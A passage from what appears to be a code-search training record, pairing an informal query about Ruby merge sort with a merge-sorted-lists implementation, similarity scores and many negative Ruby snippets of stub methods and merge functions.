"def cancelled?\n @cancelled\n end"
] |
[
"0.8186676",
"0.7759023",
"0.76407486",
"0.7606256",
"0.75000703",
"0.7432854",
"0.7395187",
"0.7381974",
"0.73434424",
"0.7199396",
"0.7199396",
"0.7198324",
"0.7177332",
"0.71616846",
"0.71044433",
"0.71044433",
"0.70844054",
"0.7052843",
"0.7033653",
"0.701241",
"0.6978312",
"0.69647026",
"0.6964207",
"0.69612676",
"0.69612676",
"0.69289523",
"0.6922336",
"0.69004375",
"0.6899842",
"0.68969744",
"0.68969744",
"0.68969744",
"0.68969744",
"0.68969744",
"0.68969744",
"0.68969744",
"0.68969744",
"0.68969744",
"0.68969744",
"0.68969744",
"0.68969744",
"0.68969744",
"0.68969744",
"0.68969744",
"0.68969744",
"0.68969744",
"0.68952996",
"0.68857163",
"0.6881501",
"0.68771136",
"0.6874076",
"0.68664753",
"0.6855945",
"0.6855945",
"0.6855945",
"0.6849443",
"0.68414223",
"0.6803095",
"0.6800603",
"0.67804915",
"0.6779252",
"0.67385226",
"0.67314327",
"0.6725787",
"0.6725031",
"0.67061764",
"0.6705169",
"0.6702739",
"0.66857225",
"0.6647669",
"0.6641138",
"0.6639241",
"0.66342145",
"0.66283137",
"0.66283137",
"0.6617425",
"0.6611187",
"0.66055626",
"0.6603656",
"0.66000944",
"0.6567654",
"0.65667886",
"0.65633845",
"0.654559",
"0.6542255",
"0.65148187",
"0.65112484",
"0.65027666",
"0.65027666",
"0.65000975",
"0.64618933",
"0.64618933",
"0.64618933",
"0.64618933",
"0.64618933",
"0.64618933",
"0.64618933",
"0.64492583",
"0.643995",
"0.6426069",
"0.6422789"
] |
0.0
|
-1
|
Ok so my code sux but I found this on stack overflow per wikipedia
|
def merge(left, right)
sorted = []
until left.empty? || right.empty? # I added the two lengths together to countdown index
if left.first <= right.first # This is not valid per instructions. mutates.
sorted << left.shift
else
sorted << right.shift
end
end
sorted.concat(left).concat(right)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def private; end",
"def anchored; end",
"def schubert; end",
"def probers; end",
"def terpene; end",
"def berlioz; end",
"def stderrs; end",
"def rassoc(p0) end",
"def suivre; end",
"def schumann; end",
"def formation; end",
"def jack_handey; end",
"def hiss; end",
"def malts; end",
"def herald; end",
"def villian; end",
"def weber; end",
"def king_richard_iii; end",
"def buzzword; end",
"def buzzword; end",
"def who_we_are\r\n end",
"def sld; end",
"def offences_by; end",
"def gounod; end",
"def pos() end",
"def pos() end",
"def pos() end",
"def pos() end",
"def trd; end",
"def leeway; end",
"def leeway; end",
"def blg; end",
"def pos; end",
"def pos; end",
"def pos; end",
"def pos; end",
"def pos; end",
"def pos; end",
"def verdi; end",
"def p15\n\t\nend",
"def specie; end",
"def specie; end",
"def specie; end",
"def specie; end",
"def surge; end",
"def r; end",
"def r; end",
"def bs; end",
"def ibu; end",
"def loc; end",
"def loc; end",
"def loc; end",
"def internship_passed; end",
"def silly_adjective; end",
"def slop!; end",
"def slop!; end",
"def dh; end",
"def tld; end",
"def tld; end",
"def strain; end",
"def bellini; end",
"def romeo_and_juliet; end",
"def spice; end",
"def identify; end",
"def original; end",
"def feruchemist; end",
"def mitch_hedberg; end",
"def stack; end",
"def stack; end",
"def lsi; end",
"def next() end",
"def next() end",
"def starting_position; end",
"def alg; end",
"def refutal()\n end",
"def intensifier; end",
"def method_731(base); end",
"def ismn; end",
"def isp; end",
"def isp; end",
"def operations; end",
"def operations; end",
"def first; end",
"def first; end",
"def algorithm=(_); end",
"def algorithm=(_); end",
"def algorithm=(_); end",
"def algorithm=(_); end",
"def algorithms; end",
"def algorithms; end",
"def algorithms; end",
"def algorithms; end",
"def algorithms; end",
"def same; end",
"def celebration; end",
"def most_interesting_man_in_the_world; end",
"def succ!() end",
"def original_result; end",
"def big_bad; end",
"def ravel; end",
"def hd\n \n end"
] |
[
"0.6485155",
"0.6351451",
"0.6332772",
"0.6309414",
"0.61191106",
"0.60165817",
"0.5990105",
"0.59424376",
"0.592144",
"0.58605015",
"0.58037615",
"0.57828665",
"0.5780088",
"0.57763416",
"0.5763236",
"0.57541984",
"0.5707793",
"0.5686382",
"0.566465",
"0.566465",
"0.56440276",
"0.5636401",
"0.56331676",
"0.56329805",
"0.56220365",
"0.56220365",
"0.56220365",
"0.56220365",
"0.5613925",
"0.55959785",
"0.55959785",
"0.5591752",
"0.55646706",
"0.55646706",
"0.55646706",
"0.55646706",
"0.55646706",
"0.55646706",
"0.55629027",
"0.55488783",
"0.5546235",
"0.5546235",
"0.5546235",
"0.5546235",
"0.554453",
"0.5544355",
"0.5544355",
"0.5529023",
"0.55041367",
"0.5498695",
"0.5498695",
"0.5498695",
"0.54717207",
"0.54680127",
"0.5444902",
"0.5444902",
"0.54391265",
"0.543742",
"0.543742",
"0.5410322",
"0.53844756",
"0.53828025",
"0.5382751",
"0.5377076",
"0.53728193",
"0.5371529",
"0.5370674",
"0.5369108",
"0.5369108",
"0.5364894",
"0.5364696",
"0.5364696",
"0.5364037",
"0.536225",
"0.53468394",
"0.53400636",
"0.5334697",
"0.5329972",
"0.53245676",
"0.53245676",
"0.531935",
"0.531935",
"0.5317414",
"0.5317414",
"0.53170955",
"0.53170955",
"0.53170955",
"0.53170955",
"0.531189",
"0.531189",
"0.531189",
"0.531189",
"0.531189",
"0.5306657",
"0.5305215",
"0.5286763",
"0.5285546",
"0.5283474",
"0.5270583",
"0.52701926",
"0.5249878"
] |
0.0
|
-1
|
fixed mine. I think the flaw may have been in the logic determining if either array is empty. works now... Merge Sorted Lists
|
def merge(list1,list2)
x1 = list1.length
x2 = list2.length
out = []
if x1 == 0 || x2 == 0 ; return out = list1 + list2 else
x = x1 + x2 # add both lengths for # of steps
x1 -= 1 # -1 to equal index.last
x2 -= 1 # ^
while x > 0
if list1[x1] > list2[x2]
if x1 > -1; out.unshift(list1[x1])
else out.unshift(list2[x2]); x2 -= 1 end
x1 -= 1
elsif list1[x1] < list2[x2]
if x2 > -1; out.unshift(list2[x2])
else out.unshift(list1[x1]); x1 -= 1 end
x2 -= 1
else
out.unshift(list2[x2],list1[x1])
x1 -= 1
x2 -= 1
x -= 1 # extra count down cuz pushing 2 equal elements
end
x -= 1
end
out
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def merge(arr1, arr2)\n return arr2 if arr1.size < 1\n return arr1 if arr2.size < 1\n\n merged_lists = []\n counter1 = 0\n counter2 = 0\n iterations = arr1.size + arr2.size\n\n iterations.times do |n|\n if arr1[counter1] == nil\n merged_lists << arr2[counter2]\n elsif arr2[counter2] == nil\n merged_lists << arr1[counter1]\n elsif arr1[counter1] <= arr2[counter2]\n merged_lists << arr1[counter1]\n counter1 += 1\n else\n merged_lists << arr2[counter2]\n counter2 += 1\n end\n end\n\n merged_lists\nend",
"def merge(list_a, list_b)\n result = Array.new\n\n while list_a.length > 0 or list_b.length > 0\n if list_a.length > 0 and list_b.length > 0\n if list_a[0] <= list_b[0]\n result << list_a[0]\n list_a.slice!(0)\n else\n result << list_b[0]\n list_b.slice!(0)\n end\n elsif list_a.length > 0\n result << list_a[0]\n list_a.slice!(0)\n elsif list_b.length > 0\n result << list_b[0]\n list_b.slice!(0)\n end\n end\n return result\n\nend",
"def merge_sorted_arrays2(arr1, arr2)\n arr1_item = arr1[0]\n arr2_item = arr2[0]\n merged = []\n i = 1\n j = 1\n\n while arr1_item || arr2_item\n if !arr2_item || arr1_item < arr2_item\n merged << arr1_item\n arr1_item = arr1[i]\n i +=1\n else\n merged << arr2_item\n arr2_item = arr2[j]\n j +=1\n end\n end\n merged\nend",
"def merge(list1,list2)\n sorted_list = []\n while !(list1.empty? && list2.empty?)\n if list1.empty? && !list2.empty?\n sorted_list << list2.shift\n end\n if list2.empty? && !list1.empty?\n sorted_list << list1.shift\n end\n if list1.first && list2.first\n if list1.first < list2.first\n sorted_list << list1.shift\n else\n sorted_list << list2.shift\n end\n end\n end\n sorted_list\nend",
"def merge(list1, list2)\n i = 0\n a = 0\n combined = list1 + list2\n min = combined[0]\n sorted = []\n while a < combined.size\n while i < combined.size\n if combined[i] < min\n min = combined[i]\n end\n i += 1\n end\n\n combined = combined - [min]\n sorted += [min]\n \n min = combined[0]\n if combined.size == 0\n return sorted\n else\n i = 0\n end\n end\nend",
"def merge(first_arr, second_arr)\n return_arr = []\n\n loop do\n break if first_arr.empty? || second_arr.empty?\n if first_arr[0] <= second_arr[0]\n return_arr << first_arr.shift\n else\n return_arr << second_arr.shift\n end\n end\n\n loop do\n break if first_arr.empty? && second_arr.empty?\n if first_arr.empty?\n return_arr << second_arr.shift\n else\n return_arr << first_arr.shift\n end \n end\n\n return_arr\nend",
"def merge(arr1, arr2)\n arr = [] \n\n (arr2.length > arr1.length)? max = arr2.length : max = arr1.length\n a1_idx = 0\n a2_idx = 0 \n while a1_idx < max || a2_idx < max \n if arr2[a2_idx] == nil \n arr += arr1[a1_idx..-1] \n break \n elsif arr1[a1_idx] == nil \n arr += arr2[a2_idx..-1] \n break \n end \n\n a1 = arr1[a1_idx]\n a2 = arr2[a2_idx]\n\n if a1 < a2 \n arr << a1\n a1_idx += 1 \n \n else \n arr << a2\n a2_idx += 1 \n end\n end\n arr\nend",
"def sorted_merge_better(array1, array2)\n last_idx = array1.length + array2.length - 1\n idx1 = array1.length - 1\n until array2.empty?\n if array1[idx1].nil? || array2.last >= array1[idx1]\n array1[last_idx] = array2.pop\n else\n array1[last_idx], array1[idx1] = array1[idx1], array1[last_idx]\n idx1 -= 1\n end\n\n last_idx -= 1\n end\n\n array1\nend",
"def merge(first_half, second_half)\n \n# empty array\n merged_array = []\n \n# while both halves have elements\n while first_half.size > 0 && second_half.size > 0 do\n \n# i think it's going to compare 0 elements\n if first_half [0] <= second_half[0]\n \n# if the first half 0 element is larger, push it onto the merged array\n# To retrieve and at the same time remove the first item, use shift\n merged_array.push(first_half.shift)\n \n elsif second_half[0] < first_half[0]\n merged_array.push(second_half.shift)\n end\n end\n\n#once only one (sorted) array remains, just add on the rest of that array\n#only one of these loops will ever run\n while first_half.size > 0 do \n merged_array.push(first_half.shift)\n end\n while second_half.size > 0 do \n merged_array.push(second_half.shift)\n end\n\n merged_array\nend",
"def merge_helper(arr1, arr2)\n merged = []\n until arr1.empty? && arr2.empty?\n if arr1.empty?\n merged << arr2.shift\n elsif arr2.empty?\n merged << arr1.shift\n elsif arr1.first < arr2.first\n merged << arr1.shift\n else\n merged << arr2.shift\n end\n end\n merged\nend",
"def merge_two_lists(l1, l2)\n#catches fully merged lists of different size\n return l2 if l1.nil?\n return l1 if l2.nil?\n #check values for lower/higher\n if l1.val < l2.val\n\t\t\tl1.next = merge_two_lists(l1.next, l2);\n\t\t\treturn l1;\n else\n\t\t\tl2.next = merge_two_lists(l1, l2.next);\n\t\t\treturn l2;\n end\nend",
"def merge(l, r)\n merged_together = [] #The merged array\n while l.length > 0 && r.length > 0\n if l[0] <= r[0]\n merged_together << l.shift #The shfit deletes the number from the array and moves into\n # the merged_together array\n elsif r[0] < l[0]\n merged_together << r.shift #Same as the if statement except for the r\n end\n end\n merged_together + l + r\nend",
"def merge(arr1, arr2)\n counter1, counter2 = 0, 0\n return_arr = []\n \n until counter1 >= arr1.size && counter2 >= arr2.size\n break if arr2[counter2] == nil || arr1[counter1] == nil\n\n if arr1[counter1] == nil || arr1[counter1] >= arr2[counter2]\n return_arr << arr2[counter2]\n counter2 += 1\n else\n return_arr << arr1[counter1]\n counter1 += 1\n end\n end\n return_arr + (arr1[counter1].nil? ? arr2[counter2..-1] : arr1[counter1..-1])\nend",
"def mergeHelper(l,r)\r\n #puts 'inside mergeHelper'\r\n sortedStorage = []\r\n # while the arrays still have elements in them, execute this loop\r\n while !l.empty? && !r.empty?\r\n if(l[0] < r[0])\r\n sortedStorage.push(l.shift)\r\n else\r\n sortedStorage.push(r.shift)\r\n end\r\n end\r\n # now that we merged the arrays, concat and return\r\n sortedStorage.concat(l,r)\r\n return sortedStorage\r\n end",
"def merge(list,list2)\n i = 0\n merged = []\n finalmerged = []\n usmerged = []\n while i < list.length - 1\n if list[i] > list2[i]\n merged.push(list2[i] , list[i])\n else\n merged.push(list[i] , list2[i])\n end\n i += 1\n sort = true\n end\n (merged.length - 1).times do |i|\n if merged[i] <= merged[i+1]\n usmerged.push(merged[i],merged[i+1])\n else\n usmerged.push(merged[i+1],merged[i])\n end\n end\n return usmerged\nend",
"def merge(arr1, arr2)\n #check if there are any non numbers in either array\n return nil if !(arr1.all? { |num| num.is_a? Numeric })\n return nil if !(arr2.all? { |num| num.is_a? Numeric })\n\n # set up a results array\n sorted_arr = []\n #measure the length of each array\n len1 = arr1.length\n len2 = arr2.length\n #set up a counter for each array\n i = 0\n j = 0\n\n #loop stops when one array is checked fully\n while i < len1 && j < len2\n #compare values of array 1 and array 2\n if arr1[i] <= arr2[j]\n #if value in array 1 is less, push it\n sorted_arr << arr1[i]\n #increment counter\n i += 1\n else\n sorted_arr << arr2[j]\n j += 1\n end\n end\n\n #are there are remaining items in either array?\n #if so push the remaining item of one into final sorted array\n if i < len1\n sorted_arr += arr1[i..-1]\n else\n sorted_arr += arr2[j..-1]\n end\n # implicit return\n sorted_arr\nend",
"def merge(a, b)\n answer = []\n until a.empty? || b.empty?\n if a[0] <= b[0]\n answer << a[0]\n a.shift\n else\n answer << b[0]\n b.shift\n end\n end\n if a.empty?\n b.each do |item|\n answer << item \n end\n end\n if b.empty?\n a.each do |item|\n answer << item\n end\n end\n answer\nend",
"def merge(list1,list2)\n mixed = []\n list1.size.times do |n|\n mixed.push(list1[n])\n end\n list2.size.times do |n|\n mixed.push(list2[n])\n end\nreturn mixed.sort\nend",
"def merge_arrays(arr_one, arr_two)\n ret = []\n while arr_one.length > 0 || arr_two.length > 0\n if arr_one[0] < arr_two[0]\n ret << arr_one.shift\n elsif arr_two[0] < arr_one[0]\n ret << arr_two.shift\n elsif arr_two.empty?\n ret += arr_one\n elsif arr_one.empty?\n ret += arr_two\n else\n ret\n end\n end\n ret\nend",
"def merge(left, right)\n sorted = []\n while !left.empty? && !right.empty?\n if left.first[1] < right.first[1] || right.empty?\n if sorted.empty?\n sorted.push(left.shift)\n else\n left.first[0] > sorted.last[1] ? sorted.push(left.shift) : left.shift\n end \n elsif right.first[1] <= left.first[1] || left.empty?\n if sorted.empty?\n sorted.push(right.shift)\n else\n right.first[0] > sorted.last[1]? sorted.push(right.shift) : right.shift\n end\n end\n end\n right.each {|el| sorted.push(el) if el[0] > sorted.last[0]} if !right.empty?\n left.each {|el| sorted.push(el) if el[0] > sorted.last[0]} if !left.empty?\n sorted\nend",
"def merge(arr1, arr2)\n result = []\n counter1 = 0\n counter2 = 0\n loop do\n break if counter1 >= arr1.length && counter2 >= arr2.length\n if arr1[counter1] == nil \n result << arr2[counter2]\n counter2 += 1\n elsif arr2[counter2] == nil\n result << arr1[counter1]\n counter1 += 1\n elsif arr1[counter1] <= arr2[counter2]\n result << arr1[counter1]\n counter1 += 1\n else \n result << arr2[counter2]\n counter2 += 1\n end\n end\n result\nend",
"def combine(a, b)\n\tresults = Array.new\n#check to see if there is only one element left\n\n#should this be a case statement?\n\tif a.first >= b.first\n\t\tresults.push(b.first)\n\t\tb.drop(first)\n\telsif b.first >= a.first\n\t\tresults.push(a.first)\n\t\ta.drop(first)\n\telsif b == []\t&& a != []\n\t\tresults.push(a)\n\telsif a == []\t&& b != []\n\t\tresults.push(b)\n\tend\n\n=======\n\t# create a results array\n\t# counters pointing to the index of the smallest elements in each array\n\t# check that we have elements to compare\n\t\t# push the smaller element onto the result array\n\t# if there are elements left over in a, move them to result\n\t# if there are elements left over in b, move them to result\nend",
"def merge(arr1, arr2=[])\n ind1 = ind2 = 0\n new_arr = []\n\n loop do\n break if arr1 == [] || arr2 == []\n if arr1[ind1] > arr2[ind2]\n new_arr << arr2[ind2]\n ind2 += 1\n else\n new_arr << arr1[ind1]\n ind1 += 1\n end\n break if ind1 >= arr1.size || ind2 >= arr2.size\n end\n\n if ind1 == arr1.size\n temp = arr2[ind2..-1]\n else\n temp = arr1[ind1..-1]\n end\n\n temp.each {|element| new_arr << element}\n\n new_arr\nend",
"def merge(array_1, array_2)\r\n new_array = []\r\n array_1_pointer = 0\r\n array_2_pointer = 0\r\n\r\n # Run the loop until we've reached end of both arrays:\r\n while array_1_pointer < array_1.length || \r\n array_2_pointer < array_2.length\r\n\r\n # If we already reached the end of the first array,\r\n # add item from second array:\r\n if !array_1[array_1_pointer]\r\n new_array << array_2[array_2_pointer]\r\n array_2_pointer += 1\r\n # If we already reached the end of the second array,\r\n # add item from first array:\r\n elsif !array_2[array_2_pointer]\r\n new_array << array_1[array_1_pointer]\r\n array_1_pointer += 1\r\n # If the current number in first array is less than current\r\n # number in second array, add from first array:\r\n elsif array_1[array_1_pointer] < array_2[array_2_pointer]\r\n new_array << array_1[array_1_pointer]\r\n array_1_pointer += 1\r\n # If the current number in second array is less than or equal\r\n # to current number in first array, add from second array:\r\n else\r\n new_array << array_2[array_2_pointer]\r\n array_2_pointer += 1\r\n end\r\n end\r\n\r\n return new_array\r\nend",
"def merger(arr1, arr2)\n merged = []\n\n until arr1.empty? || arr2.empty? # this is an interesting way to do it\n if arr1.first <= arr2.first\n merged << arr1.shift\n else\n merged << arr2.shift\n end\n end\n\n merged + arr1 + arr2\nend",
"def combine_sorted_lists(arr1, arr2)\n i, j = 0, 0\n result = []\n while result.count < (arr1.count + arr2.count)\n if !arr1[i].nil? && arr1[i] <= arr2[j]\n result << arr1[i]\n i += 1\n else\n result << arr2[j]\n j += 1\n end\n end\n result\nend",
"def merge(left, right)\n sorted = []\n until left.empty? || right.empty? # I added the two lengths together to countdown index\n if left.first <= right.first # This is not valid per instructions. mutates.\n sorted << left.shift \n else\n sorted << right.shift\n end\n end\n sorted.concat(left).concat(right)\nend",
"def merge(a,b)\n \n a.reverse!\n b.reverse!\n result = []\n \n # loop till either a or b is empty\n loop do\n break if a.empty? || b.empty?\n # compare each value in the list to the other list value\n # pop = removes the last element or returns nil\n # the value is pushed to the result\n result << (a.last < b.last ? a.pop : b.pop)\n end\n return result + a.reverse + b.reverse\nend",
"def merge(array1, array2)\n ptr1 = 0\n ptr2 = 0\n high1 = array1.length - 1 \n high2 = array2.length - 1 \n array_final = []\n while (ptr1 <= high1) && (ptr2 <= high2) do\n if (array1[ptr1] < array2[ptr2])\n array_final << array1[ptr1]\n ptr1 += 1\n else\n array_final << array2[ptr2]\n ptr2 += 1\n end\n end\n if ptr1 <= high1\n while (ptr1 <= high1) do\n array_final << array1[ptr1]\n ptr1 += 1\n end\n elsif ptr2 <= high2\n while (ptr2 <= high2) do\n array_final << array2[ptr2]\n ptr2 += 1\n end\n end\n return array_final\nend",
"def merge(ar_1, ar_2)\n result = []\n until ar_1.empty? || ar_2.empty?\n if ar_1[0] < ar_2[0]\n result << ar_1[0]\n ar_1 = ar_1[1..-1]\n else\n result << ar_2[0]\n ar_2 = ar_2[1..-1]\n end\n end\n result + ar_1 + ar_2\nend",
"def merge(a1, a2)\r\n ret = []\r\n\r\n while (true)\r\n if a1.empty?\r\n return ret.concat(a2)\r\n end\r\n if a2.empty?\r\n return ret.concat(a1)\r\n end\r\n\r\n if a1[0] < a2[0]\r\n ret << a1[0]\r\n a1 = a1[1...a1.size]\r\n else\r\n ret << a2[0]\r\n a2 = a2[1...a2.size]\r\n end\r\n end\r\nend",
"def merge(a,b) #Important to know a and b are already sorted.\n c = make1d(a.length()+b.length())\n ia=0\t\n ib=0\n ic=0\n while ia < a.length() && ib < b.length()\n if a[ia] < b[ib]\n c[ic] = a[ia]\n ia = ia + 1\n ic = ic + 1\n else\n c[ic] = b[ib]\n ib = ib + 1\n ic = ic + 1\n end\n end\n c+a+b #Take what you know have of c + a or b, the blank one + the other of a or b, the one with the remainder of your sorted terms.\n c\nend",
"def merge(arr1, arr2)\n sorted = []\n until arr1.empty? || arr2.empty?\n if arr1.first > arr2.first\n sorted << arr2.shift\n else\n sorted << arr1.shift\n end\n end\n sorted += arr1 += arr2\nend",
"def merge_sort(ary)\n# base case\n return ary if ary.size < 2\n\n# divide(recursively dividing the array)\n left = merge_sort(ary[0...ary.size/2])\n right = merge_sort(ary[ary.size/2...ary.size])\n\n sorted = []\n# conquer(sort)\n while left.length > 0 && right.length > 0\n# until left.empty? || right.empty? # until one array is empty. In other words, when both are not empty.\n sorted << (left.first > right.first ? right.shift : left.shift)\n end\n\n# if one of the array is empty, add the other array to the sorted list\n left.empty? ? sorted += right : sorted += left\nend",
"def merge(left, right)\n sorted = []\n while [left, right].none?(&:empty?)\n sorted << (compare(left[0], right[0]) ? left.shift : right.shift)\n end\n sorted + left + right\nend",
"def sorted_merge(array1, array2)\n idx = 0\n desired_length = array1.length + array2.length\n until array2.empty?\n case array1[idx] <=> array2.first\n when -1\n idx +=1\n when 0\n idx +=1\n when 1\n array1.insert(idx, array2.shift)\n idx += 1\n end\n end\n array1\nend",
"def merge(a, b)\n new_array = []\n i, j = 0, 0\n loop do\n if i >= a.size\n new_array << b[j..]\n break\n elsif j >= b.size\n new_array << a[i..]\n break\n elsif a[i] <= b[j]\n new_array << a[i]\n i += 1\n else\n new_array << b[j]\n j += 1\n end\n end\n new_array.flatten\nend",
"def merge_again(arr1, arr2)\n\tfinal_array = []\n\twhile(arr1.size > 0 && arr2.size > 0)\n\t\tif arr1[0] < arr2[0]\n\t\t\tfinal_array << arr1[0]\n\t\t\tarr1 = arr1[1...arr1.length]\n\t\telse\n\t\t\tfinal_array << arr2[0]\n\t\t\tarr2 = arr2[1...arr2.length]\n\t\tend\n\n\tend\n\n\tif arr1.length == 0\n\t\tfinal_array.concat arr2\n\telsif arr2.length == 0\n\t\tfinal_array.concat arr1\n\tend\n\n\tfinal_array\nend",
"def merge(left_array, right_array)\n new_array = Array.new()\n i = 0\n j = 0\n while i < left_array.length && j < right_array.length\n\n if left_array[i] < right_array[j]\n new_array.push(left_array[i])\n i = i +1\n else\n new_array.push(right_array[j])\n j = j + 1\n end\n\n end\n\n # add remaining elements to new array\n new_array += left_array[i..-1]\n new_array += right_array[j..-1]\n return new_array\n end",
"def merge(array1, array2)\n array2.reverse!\n \n loop do\n break if array2 == []\n array1 << array2.pop\n end\n array1.uniq!\nend",
"def merge_sort(array1, array2)\n # third array to store the merged elements\n result = []\n # index for the first array\n i = 0\n # index for the second array\n j = 0\n # iterate until one of them is completely traversed\n while i < array1.length && j < array2.length\n # if the first array holds the smaller element in its current index,\n # store it in the result array then increment the index of the first array\n if array1[i] <= array2[j]\n result << array1[i]\n i += 1\n # otherwise, store the element from the second array in the result array,\n # then increment the index of the second array\n else\n result << array2[j]\n j += 1\n end\n end\n # after the loop above, one of the arrays is completely traversed but the other is not\n # this means that elements remain\n \n # append all remaining elements from the first array to the result array, if they exist\n while i < array1.length\n result << array1[i]\n i += 1\n end\n\n # append all remaining elements from the second array to the result array, if they exist\n while j < array2.length\n result << array2[j]\n j += 1\n end\n result\nend",
"def merge(arr1, arr2)\n merged = []\n\n until arr1.empty? || arr2.empty?\n if arr1.first < arr2.first\n merged << arr1.shift\n else\n merged << arr2.shift\n end\n end\n\n merged + arr1 + arr2\nend",
"def merge(arr1, arr2)\n result, idx1, idx2 = [], 0, 0\n until arr1[idx1] == nil || arr2[idx2] == nil\n if arr1[idx1] > arr2[idx2]\n result << arr2[idx2]\n idx2 += 1\n else\n result << arr1[idx1]\n idx1 += 1\n end\n end\n arr2[idx2] == nil ? result << arr1[idx1..-1] : result << arr2[idx2..-1] \n result.flatten\nend",
"def merge_sort(unordered_list)\n p unordered_list\n \n if unordered_list.size < 2\n return unordered_list\n else\n middle = unordered_list.size / 2\n left = merge_sort(unordered_list[0,middle])\n right = merge_sort(unordered_list[middle,unordered_list.size])\n together = merge(left,right)\n puts \"merged: #{together.inspect}\"\n return together\n end \nend",
"def merge_arr(left, right)\n # puts \"left: #{left}, right: #{right}\"\n left ||= []\n right ||= []\n res = []\n \n loop do\n res += right and break if left.empty?\n res += left and break if right.empty?\n \n if left.first <= right.first\n res << left.shift\n else\n res << right.shift\n end\n end\n \n res\nend",
"def merged(array1, array2) # doesn't fully work\n result = []\n counter = 0\n array1b = array1.dup.sort\n array2b = array2.dup.sort\n \n loop do \n if array1b.empty? == false\n array1b.each do |value1| #finds the smallest value and adds it if in array1\n if array2b.all? { |value2| value1 < value2}\n result << value1\n array1b.delete_at(array1b.find_index(value1))\n end \n end \n end\n \n if array2b.empty? == false\n array2b.each do |value2| #finds the smallest value and adds it if in array2\n if array1b.all? { |value1| value2 < value1}\n result << value2\n array2b.delete_at(array2b.find_index(value2))\n end \n end \n end \n \n counter +=1\n break if counter == array1.size + array2.size\n end \n result\nend",
"def sorted_merge(a, b)\n i = 0\n until b.empty?\n if a[i].nil? || b[0] <= a[i]\n shift(a, i)\n a[i] = b.delete_at(0)\n end\n i += 1\n end\n a\nend",
"def merge(a1, a2)\n ret = []\n\n while (true)\n if a1.empty?\n return ret.concat(a2)\n end\n if a2.empty?\n return ret.concat(a1)\n end\n\n if a1[0] < a2[0]\n ret << a1[0]\n a1 = a1[1...a1.size]\n else\n ret << a2[0]\n a2 = a2[1...a2.size]\n end\n end\nend",
"def merge(array1, array2)\n merged = []\n\n iterator1 = ArrayIterator.new(array1)\n iterator2 = ArrayIterator.new(array2)\n\n while (iterator1.has_next? and iterator2.has_next?)\n if iterator1.item < iterator2.item\n merged << iterator1.next_item\n else\n merged << iterator2.next_item\n end\n end\n\n # Pick up the leftovers from array1\n while (iterator1.has_next?)\n merged << iterator1.next_item\n end\n\n # Pick up the leftovers from array2\n while (iterator2.has_next?)\n merged << iterator2.next_item\n end\n\n merged\nend",
"def mergesort(elements)\n\t#Base Case \n return elements if elements.size == 1\n\n #Divide \n mid = elements.size / 2\n left = elements[0, mid]\n right = elements[mid, elements.size]\n \n left_sorted = mergesort(left)\n right_sorted = mergesort(right)\n\n #Conquer\n merge(left_sorted,right_sorted)\nend",
"def merge(m, a, b)\n loop do\n return m + a if b.empty?\n return m + b if a.empty?\n if a[0] < b[0]\n m << a.first\n a.delete_at(0)\n else\n m << b.first\n b.delete_at(0)\n end\n end\nend",
"def merge(array1, array2)\n merged = []\n\n iterator1 = ArrayIterator.new(array1)\n iterator2 = ArrayIterator.new(array2)\n\n while iterator1.has_next? && iterator2.has_next?\n if iterator1.item < iterator2.item\n merged << iterator1.next_item\n else\n merged << iterator2.next_item\n end\n end\n\n while iterator1.has_next?\n merged << iterator1.next_item\n end\n\n while iterator2.has_next?\n merged << iterator2.next_item\n end\n\n merged\nend",
"def merge(arr1, arr2)\n merged_arr = []\n\n until (arr1.empty? || arr2.empty?)\n arr1[0] < arr2[0] ? merged_arr.push(arr1.shift) : merged_arr.push(arr2.shift)\n end\n\n merged_arr.concat(arr1).concat(arr2)\nend",
"def merge(a, b)\n c = []\n until a.empty? && b.empty? do\n if a.first && ((b.first && a.first <= b.first) || !b.first)\n c << a.shift\n else\n c << b.shift\n end\n end\n return c\nend",
"def merge(left, right)\n results = []\n\n while (left.length > 0 && right.length > 0)\n if (left[0] < right[0])\n results.push( left.shift() )\n else\n results.push( right.shift() )\n end\n end\n # return a new array. Take everything in results and add it to the array.\n # Take everything in left and add them in.\n # Take everything in right and add them as well.\n # One array will be empty after while loop finishes\n return [*results, *left, *right]\nend",
"def merge(left, right, i)\n sorted = []\n reference = i == 3 ? 1 : 0\n while !left.empty? && !right.empty?\n if left.first[reference] < right.first[reference] || right.empty?\n sorted.push(left.shift)\n elsif right.first[reference] <= left.first[reference] || left.empty?\n sorted.push(right.shift)\n end\n end\n right.each { |el| sorted.push(el) } unless right.empty?\n left.each { |el| sorted.push(el) } unless left.empty?\n sorted\nend",
"def merge(arr1, arr2)\n new_arr = []\n while arr1.size > 0 && arr2.size > 0\n compare = arr1[0] <= arr2[0]\n if compare\n new_arr << arr1.shift\n else\n new_arr << arr2.shift\n end\n end\n new_arr + arr1 + arr2\nend",
"def merge(ary1, ary2)\n merged = []\n i1 = 0\n i2 = 0\n until i1 >= ary1.size && i2 >= ary2.size\n case ary1[i1] <=> ary2[i2]\n when -1\n merged << ary1[i1]\n i1 += 1\n when 1\n merged << ary2[i2]\n i2 += 1\n else\n new_ary << ary1[i1]\n new_ary << ary2[i2]\n i1 += 1\n i2 += 1\n end\n end\n merged.compact\nend",
"def merge(arr_1, arr_2) # works because arr_1 and arr_2 are always sorted\n array = []\n while !arr_1.empty? && !arr_2.empty?\n if arr_1.first <= arr_2.first\n array << arr_1.shift\n else\n array << arr_2.shift\n end\n end\n array += arr_1 + arr_2\nend",
"def merge_sort list\n midpoint = list.length/2\n\n if list.length < 2\n return list\n else\n list_left = list[0..(midpoint - 1)]\n list_right = list[midpoint..-1]\n\n list_left = merge_sort(list_left)\n list_right = merge_sort(list_right)\n\n return result = merge_lists(list_left, list_right)\n end\nend",
"def merge_sort(arr)\n \n midpoint = arr.size/2\n sub_list_a = arr[0, midpoint]\n sub_list_b = arr[(midpoint + 1)..(arr.size - 1)]\n \n sub_list_a = merge_sort(sub_list_a) \n sub_list_b = merge_sort(sub_list_b) \n \n merge(sub_list_a, sub_list_b)\n \nend",
"def merge(list_1, list_2)\n com_list = list_1 + list_2\n new_list = list_1 + list_2\n i_2 = 0\n new_list.each do |a|\n i = 0\n new_list.each do |b|\n if a >= b\n new_list[i_2] = com_list[i]\n end\n i += 1\n end\n i_2 += 1\n end\n return new_list\nend",
